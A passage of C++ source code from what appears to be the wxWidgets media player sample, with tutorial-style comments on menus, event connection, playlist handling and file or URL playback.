wxButton* m_vdButton; // Volume down button wxButton* m_vuButton; // Volume up button wxGauge* m_gauge; // Gauge to keep in line with slider }; // ---------------------------------------------------------------------------- // wxMediaPlayerTimer // ---------------------------------------------------------------------------- class wxMediaPlayerTimer : public wxTimer { public: // Ctor wxMediaPlayerTimer(wxMediaPlayerFrame* frame) {m_frame = frame;} // Called each time the timer's timeout expires void Notify(); wxMediaPlayerFrame* m_frame; // The wxMediaPlayerFrame }; // ---------------------------------------------------------------------------- // wxMediaPlayerListCtrl // ---------------------------------------------------------------------------- class wxMediaPlayerListCtrl : public wxListCtrl { public: void AddToPlayList(const wxString& szString) { wxListItem kNewItem; kNewItem.SetAlign(wxLIST_FORMAT_LEFT); int nID = this->GetItemCount(); kNewItem.SetId(nID); kNewItem.SetMask(wxLIST_MASK_DATA); kNewItem.SetData(new wxString(szString)); this->InsertItem(kNewItem); this->SetItem(nID, 0, wxT("*")); this->SetItem(nID, 1, wxFileName(szString).GetName()); if (nID % 2) { kNewItem.SetBackgroundColour(wxColour(192,192,192)); this->SetItem(kNewItem); } } void GetSelectedItem(wxListItem& listitem) { listitem.SetMask(wxLIST_MASK_TEXT | wxLIST_MASK_DATA); int nLast = -1, nLastSelected = -1; while ((nLast = this->GetNextItem(nLast, wxLIST_NEXT_ALL, wxLIST_STATE_SELECTED)) != -1) { listitem.SetId(nLast); this->GetItem(listitem); if ((listitem.GetState() & wxLIST_STATE_FOCUSED) ) break; nLastSelected = nLast; } if (nLast == -1 && nLastSelected == -1) return; listitem.SetId(nLastSelected == -1 ? nLast : nLastSelected); this->GetItem(listitem); } }; // ---------------------------------------------------------------------------- // wxPlayListDropTarget // // Drop target for playlist (i.e. allows users to drag a file from explorer into // the playlist to add that file) // ---------------------------------------------------------------------------- #if wxUSE_DRAG_AND_DROP class wxPlayListDropTarget : public wxFileDropTarget { public: wxPlayListDropTarget(wxMediaPlayerListCtrl& list) : m_list(list) {} ~wxPlayListDropTarget(){} virtual bool OnDropFiles(wxCoord WXUNUSED(x), wxCoord WXUNUSED(y), const wxArrayString& files) { for (size_t i = 0; i < files.GetCount(); ++i) { m_list.AddToPlayList(files[i]); } return true; } wxMediaPlayerListCtrl& m_list; }; #endif // ============================================================================ // // Implementation // // ============================================================================ // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // // [Functions] // // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // ---------------------------------------------------------------------------- // wxGetMediaStateText // // Converts a wxMediaCtrl state into something useful that we can display // to the user // ---------------------------------------------------------------------------- const wxChar* wxGetMediaStateText(int nState) { switch(nState) { case wxMEDIASTATE_PLAYING: return wxT("Playing"); case wxMEDIASTATE_STOPPED: return wxT("Stopped"); ///case wxMEDIASTATE_PAUSED: default: return wxT("Paused"); } } // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // // wxMediaPlayerApp // // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // ---------------------------------------------------------------------------- // This sets up this wxApp as the global wxApp that gui calls in wxWidgets // use. For example, if you were to be in windows and use a file dialog, // wxWidgets would use wxTheApp->GetHInstance() which would get the instance // handle of the application. These routines in wx _DO NOT_ check to see if // the wxApp exists, and thus will crash the application if you try it. // // IMPLEMENT_APP does this, and also implements the platform-specific entry // routine, such as main or WinMain(). Use IMPLEMENT_APP_NO_MAIN if you do // not desire this behaviour. // ---------------------------------------------------------------------------- IMPLEMENT_APP(wxMediaPlayerApp) // ---------------------------------------------------------------------------- // wxMediaPlayerApp command line parsing // ---------------------------------------------------------------------------- #if wxUSE_CMDLINE_PARSER void wxMediaPlayerApp::OnInitCmdLine(wxCmdLineParser& parser) { wxApp::OnInitCmdLine(parser); parser.AddParam("input files", wxCMD_LINE_VAL_STRING, wxCMD_LINE_PARAM_OPTIONAL | wxCMD_LINE_PARAM_MULTIPLE); } bool wxMediaPlayerApp::OnCmdLineParsed(wxCmdLineParser& parser) { if ( !wxApp::OnCmdLineParsed(parser) ) return false; for (size_t paramNr=0; paramNr < parser.GetParamCount(); ++paramNr) m_params.push_back(parser.GetParam(paramNr)); return true; } #endif // wxUSE_CMDLINE_PARSER // ---------------------------------------------------------------------------- // wxMediaPlayerApp::OnInit // // Where execution starts - akin to a main or WinMain. // 1) Create the frame and show it to the user // 2) Process filenames from the commandline // 3) return true specifying that we want execution to continue past OnInit // ---------------------------------------------------------------------------- bool wxMediaPlayerApp::OnInit() { if ( !wxApp::OnInit() ) return false; // SetAppName() lets wxConfig and others know where to write SetAppName(wxT("wxMediaPlayer")); wxMediaPlayerFrame *frame = new wxMediaPlayerFrame(wxT("MediaPlayer wxWidgets Sample")); frame->Show(true); #if wxUSE_CMDLINE_PARSER if ( !m_params.empty() ) { for ( size_t n = 0; n < m_params.size(); n++ ) frame->AddToPlayList(m_params[n]); wxCommandEvent theEvent(wxEVT_MENU, wxID_NEXT); frame->AddPendingEvent(theEvent); } #endif // wxUSE_CMDLINE_PARSER return true; } #ifdef __WXMAC__ void wxMediaPlayerApp::MacOpenFiles(const wxArrayString & fileNames ) { // Called when a user drags files over our app m_frame->DoOpenFile(fileNames[0], true /* new page */); } #endif // __WXMAC__ // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // // wxMediaPlayerFrame // // ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ // ---------------------------------------------------------------------------- // wxMediaPlayerFrame Constructor // // 1) Create our menus // 2) Create our notebook control and add it to the frame // 3) Create our status bar // 4) Connect our events // 5) Start our timer // ---------------------------------------------------------------------------- wxMediaPlayerFrame::wxMediaPlayerFrame(const wxString& title) : wxFrame(NULL, wxID_ANY, title, wxDefaultPosition, wxSize(600,600)) { SetIcon(wxICON(sample)); // // Create Menus // wxMenu *fileMenu = new wxMenu; wxMenu *controlsMenu = new wxMenu; wxMenu *optionsMenu = new wxMenu; wxMenu *helpMenu = new wxMenu; wxMenu *debugMenu = new wxMenu; fileMenu->Append(wxID_OPENFILESAMEPAGE, wxT("&Open File\tCtrl-Shift-O"), wxT("Open a File in the current notebook page")); fileMenu->Append(wxID_OPENFILENEWPAGE, wxT("&Open File in a new page"), wxT("Open a File in a new notebook page")); fileMenu->Append(wxID_OPENURLSAMEPAGE, wxT("&Open URL"), wxT("Open a URL in the current notebook page")); fileMenu->Append(wxID_OPENURLNEWPAGE, wxT("&Open URL in a new page"), wxT("Open a URL in a new notebook page")); fileMenu->AppendSeparator(); fileMenu->Append(wxID_CLOSECURRENTPAGE, wxT("&Close Current Page\tCtrl-C"), wxT("Close current notebook page")); fileMenu->AppendSeparator(); fileMenu->Append(wxID_EXIT, wxT("E&xit\tAlt-X"), wxT("Quit this program")); controlsMenu->Append(wxID_PLAY, wxT("&Play/Pause\tCtrl-P"), wxT("Resume/Pause playback")); controlsMenu->Append(wxID_STOP, wxT("&Stop\tCtrl-S"), wxT("Stop playback")); controlsMenu->AppendSeparator(); controlsMenu->Append(wxID_PREV, wxT("&Previous\tCtrl-B"), wxT("Go to previous track")); controlsMenu->Append(wxID_NEXT, wxT("&Next\tCtrl-N"), wxT("Skip to next track")); optionsMenu->AppendCheckItem(wxID_LOOP, wxT("&Loop\tCtrl-L"), wxT("Loop Selected Media")); optionsMenu->AppendCheckItem(wxID_SHOWINTERFACE, wxT("&Show Interface\tCtrl-I"), wxT("Show wxMediaCtrl native controls")); debugMenu->Append(wxID_SELECTBACKEND, wxT("&Select Backend...\tCtrl-D"), wxT("Select a backend manually")); helpMenu->Append(wxID_ABOUT, wxT("&About\tF1"), wxT("Show about dialog")); wxMenuBar *menuBar = new wxMenuBar(); menuBar->Append(fileMenu, wxT("&File")); menuBar->Append(controlsMenu, wxT("&Controls")); menuBar->Append(optionsMenu, wxT("&Options")); menuBar->Append(debugMenu, wxT("&Debug")); menuBar->Append(helpMenu, wxT("&Help")); SetMenuBar(menuBar); // // Create our notebook - using wxNotebook is luckily pretty // simple and self-explanatory in most cases // m_notebook = new wxNotebook(this, wxID_NOTEBOOK); // // Create our status bar // #if wxUSE_STATUSBAR // create a status bar just for fun (by default with 1 pane only) CreateStatusBar(1); #endif // wxUSE_STATUSBAR // // Connect events. // // There are two ways in wxWidgets to use events - // Message Maps and Connections. // // Message Maps are implemented by putting // DECLARE_MESSAGE_MAP in your wxEvtHandler-derived // class you want to use for events, such as wxMediaPlayerFrame. // // Then after your class declaration you put // wxBEGIN_EVENT_TABLE(wxMediaPlayerFrame, wxFrame) // EVT_XXX(XXX)... // wxEND_EVENT_TABLE() // // Where wxMediaPlayerFrame is the class with the DECLARE_MESSAGE_MAP // in it. EVT_XXX(XXX) are each of your handlers, such // as EVT_MENU for menu events and the XXX inside // is the parameters to the event macro - in the case // of EVT_MENU the menu id and then the function to call. // // However, with wxEvtHandler::Connect you can avoid a // global message map for your class and those annoying // macros. You can also change the context in which // the call the handler (more later). // // The downside is that due to the limitation that // wxWidgets doesn't use templates in certain areas, // You have to triple-cast the event function. // // There are five parameters to wxEvtHandler::Connect - // // The first is the id of the instance whose events // you want to handle - i.e. a menu id for menus, // a control id for controls (wxControl::GetId()) // and so on. // // The second is the event id. This is the same // as the message maps (EVT_MENU) except prefixed // with "wx" (wxEVT_MENU). // // The third is the function handler for the event - // You need to cast it to the specific event handler // type, then to a wxEventFunction, then to a // wxObjectEventFunction - I.E. // (wxObjectEventFunction)(wxEventFunction) // (wxCommandEventFunction) &wxMediaPlayerFrame::MyHandler // // Or, you can use the new (2.5.5+) event handler // conversion macros - for instance the above could // be done as // wxCommandEventHandler(wxMediaPlayerFrame::MyHandler) // pretty simple, eh? // // The fourth is an optional userdata param - // this is of historical relevance only and is // there only for backwards compatibility. // // The fifth is the context in which to call the // handler - by default (this param is optional) // this. For example in your event handler // if you were to call "this->MyFunc()" // it would literally do this->MyFunc. However, // if you were to pass myHandler as the fifth // parameter, for instance, you would _really_ // be calling myHandler->MyFunc, even though // the compiler doesn't really know it. // // // Menu events // this->Connect(wxID_EXIT, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnQuit)); this->Connect(wxID_ABOUT, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnAbout)); this->Connect(wxID_LOOP, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnLoop)); this->Connect(wxID_SHOWINTERFACE, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnShowInterface)); this->Connect(wxID_OPENFILENEWPAGE, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnOpenFileNewPage)); this->Connect(wxID_OPENFILESAMEPAGE, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnOpenFileSamePage)); this->Connect(wxID_OPENURLNEWPAGE, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnOpenURLNewPage)); this->Connect(wxID_OPENURLSAMEPAGE, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnOpenURLSamePage)); this->Connect(wxID_CLOSECURRENTPAGE, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnCloseCurrentPage)); this->Connect(wxID_PLAY, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnPlay)); this->Connect(wxID_STOP, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnStop)); this->Connect(wxID_NEXT, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnNext)); this->Connect(wxID_PREV, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnPrev)); this->Connect(wxID_SELECTBACKEND, wxEVT_MENU, wxCommandEventHandler(wxMediaPlayerFrame::OnSelectBackend)); // // Key events // wxTheApp->Connect(wxID_ANY, wxEVT_KEY_DOWN, wxKeyEventHandler(wxMediaPlayerFrame::OnKeyDown), (wxObject*)0, this); // // Close events // this->Connect(wxID_ANY, wxEVT_CLOSE_WINDOW, wxCloseEventHandler(wxMediaPlayerFrame::OnClose)); // // End of Events // // // Create an initial notebook page so the user has something // to work with without having to go file->open every time :). // wxMediaPlayerNotebookPage* page = new wxMediaPlayerNotebookPage(this, m_notebook); m_notebook->AddPage(page, wxT(""), true); // Don't load previous files if we have some specified on the command line, // we wouldn't play them otherwise (they'd have to be inserted into the // play list at the beginning instead of being appended but we don't // support this). #if wxUSE_CMDLINE_PARSER if ( wxGetApp().m_params.empty() ) #endif // wxUSE_CMDLINE_PARSER { // // Here we load the our configuration - // in our case we load all the files that were left in // the playlist the last time the user closed our application // // As an exercise to the reader try modifying it so that // it properly loads the playlist for each page without // conflicting (loading the same data) with the other ones. // wxConfig conf; wxString key, outstring; for(int i = 0; ; ++i) { key.clear(); key << i; if(!conf.Read(key, &outstring)) break; page->m_playlist->AddToPlayList(outstring); } } // // Create a timer to update our status bar // m_timer = new wxMediaPlayerTimer(this); m_timer->Start(500); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame Destructor // // 1) Deletes child objects implicitly // 2) Delete our timer explicitly // ---------------------------------------------------------------------------- wxMediaPlayerFrame::~wxMediaPlayerFrame() { // Shut down our timer delete m_timer; // // Here we save our info to the registry or whatever // mechanism the OS uses. // // This makes it so that when mediaplayer loads up again // it restores the same files that were in the playlist // this time, rather than the user manually re-adding them. // // We need to do conf->DeleteAll() here because by default // the config still contains the same files as last time // so we need to clear it before writing our new ones. // // TODO: Maybe you could add a menu option to the // options menu to delete the configuration on exit - // all you'd need to do is just remove everything after // conf->DeleteAll() here // // As an exercise to the reader, try modifying this so // that it saves the data for each notebook page // wxMediaPlayerListCtrl* playlist = ((wxMediaPlayerNotebookPage*)m_notebook->GetPage(0))->m_playlist; wxConfig conf; conf.DeleteAll(); for(int i = 0; i < playlist->GetItemCount(); ++i) { wxString* pData = (wxString*) playlist->GetItemData(i); wxString s; s << i; conf.Write(s, *(pData)); delete pData; } } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnClose // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnClose(wxCloseEvent& event) { event.Skip(); // really close the frame } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::AddToPlayList // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::AddToPlayList(const wxString& szString) { wxMediaPlayerNotebookPage* currentpage = ((wxMediaPlayerNotebookPage*)m_notebook->GetCurrentPage()); currentpage->m_playlist->AddToPlayList(szString); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnQuit // // Called from file->quit. // Closes this application. // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnQuit(wxCommandEvent& WXUNUSED(event)) { // true is to force the frame to close Close(true); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnAbout // // Called from help->about. // Gets some info about this application. // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnAbout(wxCommandEvent& WXUNUSED(event)) { wxString msg; msg.Printf( wxT("This is a test of wxMediaCtrl.\n\n") wxT("Instructions:\n") wxT("The top slider shows the current the current position, ") wxT("which you can change by dragging and releasing it.\n") wxT("The gauge (progress bar) shows the progress in ") wxT("downloading data of the current file - it may always be ") wxT("empty due to lack of support from the current backend.\n") wxT("The lower-left slider controls the volume and the lower-") wxT("right slider controls the playback rate/speed of the ") wxT("media\n\n") wxT("Currently using: %s"), wxVERSION_STRING); wxMessageBox(msg, wxT("About wxMediaCtrl test"), wxOK | wxICON_INFORMATION, this); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnLoop // // Called from file->loop. // Changes the state of whether we want to loop or not. // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnLoop(wxCommandEvent& WXUNUSED(event)) { wxMediaPlayerNotebookPage* currentpage = ((wxMediaPlayerNotebookPage*)m_notebook->GetCurrentPage()); currentpage->m_bLoop = !currentpage->m_bLoop; } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnLoop // // Called from file->loop. // Changes the state of whether we want to loop or not. // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnShowInterface(wxCommandEvent& event) { wxMediaPlayerNotebookPage* currentpage = ((wxMediaPlayerNotebookPage*)m_notebook->GetCurrentPage()); if( !currentpage->m_mediactrl->ShowPlayerControls(event.IsChecked() ? wxMEDIACTRLPLAYERCONTROLS_DEFAULT : wxMEDIACTRLPLAYERCONTROLS_NONE) ) { // error - uncheck and warn user wxMenuItem* pSIItem = GetMenuBar()->FindItem(wxID_SHOWINTERFACE); wxASSERT(pSIItem); pSIItem->Check(!event.IsChecked()); if(event.IsChecked()) wxMessageBox(wxT("Could not show player controls")); else wxMessageBox(wxT("Could not hide player controls")); } } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnOpenFileSamePage // // Called from file->openfile. // Opens and plays a media file in the current notebook page // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnOpenFileSamePage(wxCommandEvent& WXUNUSED(event)) { OpenFile(false); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnOpenFileNewPage // // Called from file->openfileinnewpage. // Opens and plays a media file in a new notebook page // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnOpenFileNewPage(wxCommandEvent& WXUNUSED(event)) { OpenFile(true); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OpenFile // // Opens a file dialog asking the user for a filename, then // calls DoOpenFile which will add the file to the playlist and play it // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OpenFile(bool bNewPage) { wxFileDialog fd(this); if(fd.ShowModal() == wxID_OK) { DoOpenFile(fd.GetPath(), bNewPage); } } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::DoOpenFile // // Adds the file to our playlist, selects it in the playlist, // and then calls DoPlayFile to play it // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::DoOpenFile(const wxString& path, bool bNewPage) { if(bNewPage) { m_notebook->AddPage( new wxMediaPlayerNotebookPage(this, m_notebook), path, true); } wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage(); if(currentpage->m_nLastFileId != -1) currentpage->m_playlist->SetItemState(currentpage->m_nLastFileId, 0, wxLIST_STATE_SELECTED); wxListItem newlistitem; newlistitem.SetAlign(wxLIST_FORMAT_LEFT); int nID; newlistitem.SetId(nID = currentpage->m_playlist->GetItemCount()); newlistitem.SetMask(wxLIST_MASK_DATA | wxLIST_MASK_STATE); newlistitem.SetState(wxLIST_STATE_SELECTED); newlistitem.SetData(new wxString(path)); currentpage->m_playlist->InsertItem(newlistitem); currentpage->m_playlist->SetItem(nID, 0, wxT("*")); currentpage->m_playlist->SetItem(nID, 1, wxFileName(path).GetName()); if (nID % 2) { newlistitem.SetBackgroundColour(wxColour(192,192,192)); currentpage->m_playlist->SetItem(newlistitem); } DoPlayFile(path); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::DoPlayFile // // Pauses the file if its the currently playing file, // otherwise it plays the file // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::DoPlayFile(const wxString& path) { wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage(); wxListItem listitem; currentpage->m_playlist->GetSelectedItem(listitem); if( ( listitem.GetData() && currentpage->m_nLastFileId == listitem.GetId() && currentpage->m_szFile.compare(path) == 0 ) || ( !listitem.GetData() && currentpage->m_nLastFileId != -1 && currentpage->m_szFile.compare(path) == 0) ) { if(currentpage->m_mediactrl->GetState() == wxMEDIASTATE_PLAYING) { if( !currentpage->m_mediactrl->Pause() ) wxMessageBox(wxT("Couldn't pause movie!")); } else { if( !currentpage->m_mediactrl->Play() ) wxMessageBox(wxT("Couldn't play movie!")); } } else { int nNewId = listitem.GetData() ? listitem.GetId() : currentpage->m_playlist->GetItemCount()-1; m_notebook->SetPageText(m_notebook->GetSelection(), wxFileName(path).GetName()); if(currentpage->m_nLastFileId != -1) currentpage->m_playlist->SetItem( currentpage->m_nLastFileId, 0, wxT("*")); wxURI uripath(path); if( uripath.IsReference() ) { if( !currentpage->m_mediactrl->Load(path) ) { wxMessageBox(wxT("Couldn't load file!")); currentpage->m_playlist->SetItem(nNewId, 0, wxT("E")); } else { currentpage->m_playlist->SetItem(nNewId, 0, wxT("O")); } } else { if( !currentpage->m_mediactrl->Load(uripath) ) { wxMessageBox(wxT("Couldn't load URL!")); currentpage->m_playlist->SetItem(nNewId, 0, wxT("E")); } else { currentpage->m_playlist->SetItem(nNewId, 0, wxT("O")); } } currentpage->m_nLastFileId = nNewId; currentpage->m_szFile = path; currentpage->m_playlist->SetItem(currentpage->m_nLastFileId, 1, wxFileName(path).GetName()); currentpage->m_playlist->SetItem(currentpage->m_nLastFileId, 2, wxT("")); } } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnMediaLoaded // // Called when the media is ready to be played - and does // so, also gets the length of media and shows that in the list control // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnMediaLoaded(wxMediaEvent& WXUNUSED(evt)) { wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage(); if( !currentpage->m_mediactrl->Play() ) { wxMessageBox(wxT("Couldn't play movie!")); currentpage->m_playlist->SetItem(currentpage->m_nLastFileId, 0, wxT("E")); } else { currentpage->m_playlist->SetItem(currentpage->m_nLastFileId, 0, wxT(">")); } } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnSelectBackend // // Little debugging routine - enter the class name of a backend and it // will use that instead of letting wxMediaCtrl search the wxMediaBackend // RTTI class list. // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnSelectBackend(wxCommandEvent& WXUNUSED(evt)) { wxString sBackend = wxGetTextFromUser(wxT("Enter backend to use")); if(sBackend.empty() == false) // could have been cancelled by the user { int sel = m_notebook->GetSelection(); if (sel != wxNOT_FOUND) { m_notebook->DeletePage(sel); } m_notebook->AddPage(new wxMediaPlayerNotebookPage(this, m_notebook, sBackend ), wxT(""), true); DoOpenFile( ((wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage())->m_szFile, false); } } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnOpenURLSamePage // // Called from file->openurl. // Opens and plays a media file from a URL in the current notebook page // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnOpenURLSamePage(wxCommandEvent& WXUNUSED(event)) { OpenURL(false); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnOpenURLNewPage // // Called from file->openurlinnewpage. // Opens and plays a media file from a URL in a new notebook page // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnOpenURLNewPage(wxCommandEvent& WXUNUSED(event)) { OpenURL(true); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OpenURL // // Just calls DoOpenFile with the url path - which calls DoPlayFile // which handles the real dirty work // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OpenURL(bool bNewPage) { wxString sUrl = wxGetTextFromUser( wxT("Enter the URL that has the movie to play") ); if(sUrl.empty() == false) // could have been cancelled by user { DoOpenFile(sUrl, bNewPage); } } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnCloseCurrentPage // // Called when the user wants to close the current notebook page // // 1) Get the current page number (wxControl::GetSelection) // 2) If there is no current page, break out // 3) Delete the current page // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnCloseCurrentPage(wxCommandEvent& WXUNUSED(event)) { if( m_notebook->GetPageCount() > 1 ) { int sel = m_notebook->GetSelection(); if (sel != wxNOT_FOUND) { m_notebook->DeletePage(sel); } } else { wxMessageBox(wxT("Cannot close main page")); } } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnPlay // // Called from file->play. // Resumes the media if it is paused or stopped. // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnPlay(wxCommandEvent& WXUNUSED(event)) { wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage(); wxListItem listitem; currentpage->m_playlist->GetSelectedItem(listitem); if ( !listitem.GetData() ) { int nLast = -1; if ((nLast = currentpage->m_playlist->GetNextItem(nLast, wxLIST_NEXT_ALL, wxLIST_STATE_DONTCARE)) == -1) { // no items in list wxMessageBox(wxT("No items in playlist!")); } else { listitem.SetId(nLast); currentpage->m_playlist->GetItem(listitem); listitem.SetMask(listitem.GetMask() | wxLIST_MASK_STATE); listitem.SetState(listitem.GetState() | wxLIST_STATE_SELECTED); currentpage->m_playlist->SetItem(listitem); wxASSERT(listitem.GetData()); DoPlayFile((*((wxString*) listitem.GetData()))); } } else { wxASSERT(listitem.GetData()); DoPlayFile((*((wxString*) listitem.GetData()))); } } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnKeyDown // // Deletes all selected files from the playlist if the backspace key is pressed // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnKeyDown(wxKeyEvent& event) { if(event.GetKeyCode() == WXK_BACK/*DELETE*/) { wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage(); // delete all selected items while(true) { wxInt32 nSelectedItem = currentpage->m_playlist->GetNextItem( -1, wxLIST_NEXT_ALL, wxLIST_STATE_SELECTED); if (nSelectedItem == -1) break; wxListItem listitem; listitem.SetId(nSelectedItem); currentpage->m_playlist->GetItem(listitem); delete (wxString*) listitem.GetData(); currentpage->m_playlist->DeleteItem(nSelectedItem); } } // Could be wxGetTextFromUser or something else important if(event.GetEventObject() != this) event.Skip(); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnStop // // Called from file->stop. // Where it stops depends on whether you can seek in the // media control or not - if you can it stops and seeks to the beginning, // otherwise it will appear to be at the end - but it will start over again // when Play() is called // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnStop(wxCommandEvent& WXUNUSED(evt)) { wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage(); if( !currentpage->m_mediactrl->Stop() ) wxMessageBox(wxT("Couldn't stop movie!")); else currentpage->m_playlist->SetItem( currentpage->m_nLastFileId, 0, wxT("[]")); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnChangeSong // // Routine that plays the currently selected file in the playlist. // Called when the user actives the song from the playlist, // and from other various places in the sample // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnChangeSong(wxListEvent& WXUNUSED(evt)) { wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage(); wxListItem listitem; currentpage->m_playlist->GetSelectedItem(listitem); if(listitem.GetData()) DoPlayFile((*((wxString*) listitem.GetData()))); else wxMessageBox(wxT("No selected item!")); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnPrev // // Tedious wxListCtrl stuff. Goes to prevous song in list, or if at the // beginning goes to the last in the list. // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnPrev(wxCommandEvent& WXUNUSED(event)) { wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage(); if (currentpage->m_playlist->GetItemCount() == 0) return; wxInt32 nLastSelectedItem = -1; while(true) { wxInt32 nSelectedItem = currentpage->m_playlist->GetNextItem(nLastSelectedItem, wxLIST_NEXT_ALL, wxLIST_STATE_SELECTED); if (nSelectedItem == -1) break; nLastSelectedItem = nSelectedItem; currentpage->m_playlist->SetItemState(nSelectedItem, 0, wxLIST_STATE_SELECTED); } if (nLastSelectedItem == -1) { // nothing selected, default to the file before the currently playing one if(currentpage->m_nLastFileId == 0) nLastSelectedItem = currentpage->m_playlist->GetItemCount() - 1; else nLastSelectedItem = currentpage->m_nLastFileId - 1; } else if (nLastSelectedItem == 0) nLastSelectedItem = currentpage->m_playlist->GetItemCount() - 1; else nLastSelectedItem -= 1; if(nLastSelectedItem == currentpage->m_nLastFileId) return; // already playing... nothing to do wxListItem listitem; listitem.SetId(nLastSelectedItem); listitem.SetMask(wxLIST_MASK_TEXT | wxLIST_MASK_DATA); currentpage->m_playlist->GetItem(listitem); listitem.SetMask(listitem.GetMask() | wxLIST_MASK_STATE); listitem.SetState(listitem.GetState() | wxLIST_STATE_SELECTED); currentpage->m_playlist->SetItem(listitem); wxASSERT(listitem.GetData()); DoPlayFile((*((wxString*) listitem.GetData()))); } // ---------------------------------------------------------------------------- // wxMediaPlayerFrame::OnNext // // Tedious wxListCtrl stuff. Goes to next song in list, or if at the // end goes to the first in the list. // ---------------------------------------------------------------------------- void wxMediaPlayerFrame::OnNext(wxCommandEvent& WXUNUSED(event)) { wxMediaPlayerNotebookPage* currentpage = (wxMediaPlayerNotebookPage*) m_notebook->GetCurrentPage(); if (currentpage->m_playlist->GetItemCount() == 0) return; wxInt32 nLastSelectedItem = -1; while(true) { wxInt32 nSelectedItem = currentpage->m_playlist->GetNextItem(nLastSelectedItem, wxLIST_NEXT_ALL, wxLIST_STATE_SELECTED); if (nSelectedItem == -1) break; nLastSelectedItem = nSelectedItem; currentpage->m_playlist->SetItemState(nSelectedItem, 0, wxLIST_STATE_SELECTED); } if (nLastSelectedItem == -1) { if(currentpage->m_nLastFileId == currentpage->m_playlist->GetItemCount() - 1) nLastSelectedItem = 0; else nLastSelectedItem = currentpage->m_nLastFileId + 1; } else if (nLastSelectedItem == currentpage->m_playlist->GetItemCount() - 1) nLastSelectedItem = 0; else nLastSelectedItem += 1; if(nLastSelectedItem == currentpage->m_nLastFileId) return; // already playing... nothing to do wxListItem listitem; listitem.SetMask(wxLIST_MASK_TEXT | wxLIST_MASK_DATA); listitem.SetId(nLastSelectedItem); currentpage->m_playlist->GetItem(listitem); listitem.SetMask(listitem.GetMask() | wxLIST_MASK_STATE); listitem.SetState(listitem.GetState() | wxLIST_STATE_SELECTED); 